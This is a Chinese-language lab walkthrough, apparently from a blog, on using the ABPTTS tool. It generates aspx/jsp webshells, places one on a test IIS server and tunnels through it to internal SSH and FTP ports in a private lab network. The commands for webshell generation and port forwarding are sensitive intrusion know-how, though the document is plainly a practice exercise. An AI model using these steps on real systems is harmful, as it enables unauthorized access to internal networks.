欢迎扫码关注微信公众号

回复关键字【资料】获取各种学习资料

HTTP隧道端口转发之Abptts实战_Abptts

实验时可能需要把windows10的防火墙关掉,不然无法建立连接,因为默认网站无法被外部电脑访问

环境:

靶机:
windows10
模拟公网IP:192.168.31.121
模拟内网IP:192.168.126.1
kali
内网IP:192.168.126.128
windows8
内网ip:192.168.126.129

攻击机:
kali
模拟公网IP:192.168.31.8

HTTP隧道:abptts

ssl加密,网上文章说比regerog要稳定

python依赖:

python2 -m pip install pycrypto
python2 -m pip install httplib2

linux安装:

git clone https://github.com/nccgroup/ABPTTS.git

生成webshell:

python abpttsfactory.py -o webshell

执行之后会在当前目录录下生成一个webshell目录,结构如下:

webshell/
├── abptts.aspx
├── abptts.jsp
├── config.txt
├── GerbilFrame.war
└── war
├── GerbilFrame.jsp
├── META-INF
│ └── MANIFEST.MF
└── WEB-INF
└── web.xml

3 directories, 7 files

Currently JSP/WAR and ASP.NET server-side components are included.(目前仅支持jsp和asp)

这个在本地搭建环境测试时,需要添加windows的IIS组件,安装完成之后需要重启

控制面板路径:

控制面板\所有控制面板项\管理工具\Internet Information Services (IIS)管理器

使用phpstudy切换版本到IIS,会把phpstudy的www路径添加到IIS网站列表中

进入之后可以看到phpstudy运行的端口默认为8980

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UJVvmM0A-1597374560602)(https://i.imgur.com/lIRXzP0.png)]

我们把​攻击机​中生成的aspx文件放到网站根目录中,80或者8980都行

连接内网kali的22端口

攻击机kali执行

python abpttsclient.py -c webshell\config.txt -u "http://192.168.31.121:8980/abptts.aspx" -f 127.0.0.1:13128/192.168.126.128:22

结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xhRjhBa5-1597374560604)(https://i.imgur.com/ht4VA7e.png)]

连接内网windows8的ftp的21端口

攻击机kali执行

python abpttsclient.py -c webshell\config.txt -u "http://192.168.31.121:8980/abptts.aspx" -f 127.0.0.1:54330/192.168.126.129:21

结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IpoVWgFF-1597374560606)(https://i.imgur.com/HBAdhpt.png)]

总结:

此工具有点类似于msf的portfwd,只能逐个转发主机端口,不想reGeorg,可以实现自动转发,而且此工具不支持PHP

暂时没发现什么优点